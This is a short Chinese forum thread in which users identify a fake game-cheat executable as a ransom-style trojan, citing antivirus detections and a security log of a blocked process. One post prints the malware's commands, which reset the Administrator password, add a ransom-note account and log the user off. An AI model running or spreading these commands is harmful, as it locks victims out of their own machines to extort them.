貌似是病毒

显示全部楼层 · 发表于 2016-5-5 11:54:36

第二个

对象感染源 HEUR:Trojan.Win32.Generic

显示全部楼层 · 发表于 2016-5-5 14:37:21

酷跑一键飞行稳定2w米.exe
[DETECTION] Is the TR/Agent.602112.331 Trojan

显示全部楼层 · 发表于 2016-5-5 18:59:12

xyz0703 发表于 2016-5-5 11:54
第二个

第一个Trojan-Ransom.BAT.AddUser.c

显示全部楼层 · 发表于 2016-5-6 10:14:41

本帖最后由天耀群星于 2016-5-6 10:18 编辑

人气钻密码sdjfhys 酷跑459877

net user Administrator sdjfhys
net user 要密码加qq1635301896 sdjfhys /add
Shutdown -L

2010/1/1 00:59:26 创建新进程阻止并结束进程
进程: c:\users\ljx\downloads\酷跑一键飞行稳定2w米.exe
目标: c:\windows\system32\net.exe
命令行: net user 要密码加971306800 459877 /add
规则: [应用程序组]高危-《首道滤网》-————优先阻止！！！ -> [子应用程序]?:\windows\system32\net.exe

[可疑文件] 貌似是病毒